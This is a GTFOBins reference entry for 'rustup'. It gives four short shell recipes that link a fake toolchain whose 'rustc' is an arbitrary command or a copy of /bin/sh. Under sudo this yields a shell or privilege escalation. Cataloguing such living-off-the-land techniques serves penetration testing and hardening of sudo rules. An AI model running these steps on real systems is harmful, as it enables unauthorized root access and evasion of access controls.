Catalog GTFOBins

GTFO · Tool

rustup

4 techniques LinuxGTFOBins GPL-3.0

command

ExecutionPrivilege Escalation Linux
mkdir /path/to/temp-dir/bin/
mkdir /path/to/temp-dir/lib/
echo '/path/to/command' >/path/to/temp-dir/bin/rustc
chmod +x /path/to/temp-dir/bin/rustc
rustup toolchain link x /path/to/temp-dir/
rustup run x rustc
Context
sudo
Native
command
MITRE
T1059

command

Execution Linux
mkdir /path/to/temp-dir/bin/
mkdir /path/to/temp-dir/lib/
echo '/path/to/command' >/path/to/temp-dir/bin/rustc
chmod +x /path/to/temp-dir/bin/rustc
rustup toolchain link x /path/to/temp-dir/
rustup run x rustc
Context
unprivileged
Native
command
MITRE
T1059

shell

ExecutionPrivilege Escalation Linux
mkdir /path/to/temp-dir/bin/
mkdir /path/to/temp-dir/lib/
cp /bin/sh /path/to/temp-dir/bin/rustc
rustup toolchain link x /path/to/temp-dir/
rustup run x rustc
Context
sudo
Native
shell
MITRE
T1059

shell

Execution Linux
mkdir /path/to/temp-dir/bin/
mkdir /path/to/temp-dir/lib/
cp /bin/sh /path/to/temp-dir/bin/rustc
rustup toolchain link x /path/to/temp-dir/
rustup run x rustc
Context
unprivileged
Native
shell
MITRE
T1059